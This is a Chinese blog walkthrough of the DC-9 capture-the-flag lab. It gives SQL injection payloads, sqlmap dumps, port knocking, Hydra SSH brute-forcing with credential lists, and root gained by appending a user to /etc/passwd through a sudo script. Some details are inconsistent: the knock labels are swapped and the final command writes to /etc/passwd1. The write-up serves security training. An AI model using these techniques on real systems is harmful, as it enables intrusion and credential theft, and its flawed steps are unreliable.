DC-9入门练习

1. 信息收集

1.1nmap扫描

nmap -sP 192.168.1.0/24 -oN nmap.sP
nmap -A 192.168.1.4 -p 0-65535 -oN nmap.A

在这里插入图片描述
在这里插入图片描述

1.2指纹识别

火狐插件wappalyzer查看
在这里插入图片描述

whatweb 192.168.1.4

在这里插入图片描述

1.3扫描网站目录后台

dirb扫描:

dirb http://192.168.1.4

发现两个
在这里插入图片描述
御剑扫描后台:

在这里插入图片描述

1.4访问80

发现可能存在sql注入,但是url无参数变化
在这里插入图片描述

2.爆表

2.1burpsuit抓包分析

输入一个正常名字返回正常
在这里插入图片描述
经过多次尝试,发现存在SQL注入,且闭合为 ’
在这里插入图片描述
猜解字段数:
在这里插入图片描述
查看有哪些表:

Moe' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述
查看有哪些字段:

=Moe' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users' --+

在这里插入图片描述
查看字段内容:

=Moe' union select 1,2,3,4,5,(select group_concat(Username,0x3a,Password) from Users) --+
admin:856f5de590ef37314e7c3bdf6f8a66dc

在这里插入图片描述

2.2sqlmap爆破

先建一个txt文档,内容为http请求(抓包内容);
在这里插入图片描述
暴库

sqlmap -r 1.txt --dbs

列出当前数据库

sqlmap -r 1.txt --current-db

在这里插入图片描述
在这里插入图片描述
(这里是爆破users数据库,staff数据库同理,因为上面爆出来了就没报)
爆表

sqlmap -r 1.txt -D users --tables

在这里插入图片描述

爆字段

sqlmap -r 1.txt -D users -T UserDetails --columns 

在这里插入图片描述

爆值

sqlmap -r 1.txt -D users -T UserDetails --dump

在这里插入图片描述

2.3MD5解密

MD5 解密:网址
admin 856f5de590ef37314e7c3bdf6f8a66dc
admin transorbital1
在这里插入图片描述

2.4登录后台

1.发现登录后点击manage页面会多出梁个菜单,但是点击有跳转,单没有发生网页变化,猜测可能存在文件包含漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.bp抓包爆破
注:因为我们猜测存在文件包含漏洞,但是我们不知道动态包含变量的名称,以及我们查看文件路径
我们需要爆破。下面是我手工创建字典进行爆破。(这里是因为我没有强大的字典,只是告诉大家一个原理)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
结果:
在这里插入图片描述

在这里插入图片描述
虽然存在文件包含,但是我们无法上传木马获取shell,想到之前扫描到ssh端口,我们可以尝试ssh端口爆破。

3.knockd-开启ssh

knockd知识补充

如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口
(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。
knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特
序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据
包来启动端口命中,也可以直接用nc敲击端口。

1.我们尝试登录ssh,但是发现无法登录,仔细查看我们发现ssh端口显示 filtered ssh因为knockd可以对SSH进行防护

在这里插入图片描述

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,
则可以让防火墙实时更改策略。从而达到开关防火墙的目的。

有关knockd点击这里查看
我们利用文件包含查看knockdde配置文件:

[options]
   UseSyslog

[openSSH]
   sequence    = 7469,8475,9842
   seq_timeout = 25
   command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags    = syn

[closeSSH]
   sequence    = 9842,8475,7469
   seq_timeout = 25
   command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags    = syn

在这里插入图片描述
有3个自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了

sudo nmap -p 7469 192.168.1.4
sudo nmap -p 8475 192.168.1.4
sudo nmap -p 9842 192.168.1.4

或者安装knockd
knock 192.168.1.4 7469 8475 9842	关闭
knock 192.168.1.4 9842 8475 7469    开启

然后nmap扫描查看端口是否开放

hydra爆破

这里我们先创建两个字典(之前SQL注入爆破算出来的user数据库)
user.dic

joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb

pwd.dic

Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!

hydra爆破:

 hydra -L user.dic  -P pwd.dic ssh://192.168.1.4 -o hydra.ssh -vV
 cat hydra.ssh

爆破结果:

[22][ssh] host: 192.168.1.4   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.1.4   login: janitor   password: Ilovepeepee
[22][ssh] host: 192.168.1.4   login: chandlerb   password: UrAG0D!

在这里插入图片描述
ssh远程登录

ssh 用户名@目标ip
ssh  joeyt@192.168.1.4

依次登录查看家目录下所有文件(包括隐藏文件),查看是否有不需要密码的root命令

ls -al
sudo -l

发现在janitor用户下有隐藏文件,有一个密码笔记查看

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

在这里插入图片描述
我们在创建一个字典pwd2.dic
然后继续爆破

hydra -L user.dic  -P pwd2.dic ssh://192.168.1.4

发现一个新用户:
在这里插入图片描述
远程登录后查看是否有可以提权的命令:

ssh fred@192.168.1.4

在这里插入图片描述

4.提权

进入这个文件下,发现test不是一个目录文件,然后我们尝试运行,根据提示,他是一个python文件

cd /opt/devstuff/dist/test

在这里插入图片描述
使用find查找test.py文件

find / -name test.py 2>/dev/null

2>/dev/null 代表忽略掉错误提示信息。

在这里插入图片描述
查看这个python脚本:
在这里插入图片描述
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了

openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码

根据/etc/passwd的格式,修改一下,然后存入一个文件里,这个文件就是参数1

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
echo 'hpc666:0:0:0::/root:/bin/bash' >> /tmp/passwd1
    # 用户名:密码:uid:gid:家目录:登陆后使用的shell    
sudo ./test /tmp/passwd /etc/passwd1    

在这里插入图片描述

su admin
cd /root
ls
cat theflag.txt

在这里插入图片描述

©️2020 CSDN 皮肤主题: 1024 设计师:上身试试 返回首页